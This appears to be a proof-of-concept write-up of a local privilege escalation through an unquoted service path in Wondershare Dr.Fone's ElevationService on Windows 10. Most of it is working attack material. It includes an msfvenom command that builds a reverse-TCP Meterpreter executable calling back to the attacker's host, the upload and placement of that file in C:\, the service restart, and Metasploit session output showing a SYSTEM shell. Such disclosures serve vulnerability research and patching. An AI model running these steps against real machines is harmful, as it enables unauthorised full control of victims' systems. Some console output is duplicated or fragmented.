

Local Privilege Escalation via Unquoted Service Path

Win10 x64

Drfone (Elevation Service)

I executed a powershell stager on the “victim” machine as a local unprivileged user, in order to establish a reverse connection to the attacking machine

Once the connection is established

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[*] Sending stage (175174 bytes) to 192.168.10.31
[*] Meterpreter session 1 opened (192.168.10.15:4444 -> 192.168.10.31:51174) at 2020-12-08 18:42:42 +0100

msf6 exploit(multi/handler) >
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msf6 exploit(multi/handler) > sessions -l

Active sessions
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  Id  Name  Type                Information                                     Connection
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  1    meterpreter x86/windows MSEDGEWIN10\IEUser @ MSEDGEWIN10 192.168.10.15:4444 -> 192.168.10.31:51174 (192.168.10.31)
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I enumerated services and configurations and I found out an unquoted service path

```
ServiceName: ElevationService
Path: C:\Program Files (x86)\Wondershare\drfone\Addins\SocialApps\ElevationService.exe
StartName: LocalSystem
AbuseFunction: Write-ServiceBinary -ServiceName 'ElevationService' -Path <HijackPath>
```

Since the unquoted path is C:\Program Files (x86)\Wondershare\drfone\Addins\SocialApps\ElevationService.exe

I forged an executable that run a reverse shell toward my attacking machine and named it “program” in order to make it run by the service

I uploaded it to the victim machine and, as the local user, I put it in “[c:\](#)”

```
msfvenom LHOST=192.168.10.15 LPORT=4445 -p windows/meterpreter/reverse_tcp --platform windows -f exe -o program
```

```
meterpreter > upload program
[*] uploading : /root/.winpayloads/program -> program
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /root/.winpayloads/program -> program
[*] uploaded : /root/.winpayloads/program -> program
```

I stopped the service called “ElevationService”

```

PS C:\Windows\system32> get-service ElevationService

Status      Name                DisplayName
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Running     ElevationService    Wondershare Driver Install Service ...

PS C:\Windows\system32> stop-service ElevationService
PS C:\Windows\system32>

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As soon as I started the service

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Running     ElevationService    Wondershare Driver Install Service ...

PS C:\Windows\system32> stop-service ElevationService
PS C:\Windows\system32>
PS C:\Windows\system32>
PS C:\Windows\system32>
PS C:\Windows\system32>
PS C:\Windows\system32> start-service ElevationService

```

I got another meterpreter shell, this time as NT\AUTHORITY SYSTEM

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msf6 exploit(multi/handler) >
[*] Sending stage (175174 bytes) to 192.168.10.31
[*] Meterpreter session 4 opened (192.168.10.15:4445 -> 192.168.10.31:51577) at 2020-12-08 19:08:54 +0100

msf6 exploit(multi/handler) > sessions -l

Active sessions
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Id	Name	Type	Information	Connection
1		meterpreter	x86/windows MSEDGWIN10\IEUser @ MSEDGWIN10	192.168.10.15:4444 -> 192.168.10.31:51174
4		meterpreter	x86/windows NT AUTHORITY\SYSTEM @ MSEDGWIN10	192.168.10.15:4445 -> 192.168.10.31:51577

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(192.168.10.31)
(192.168.10.31)

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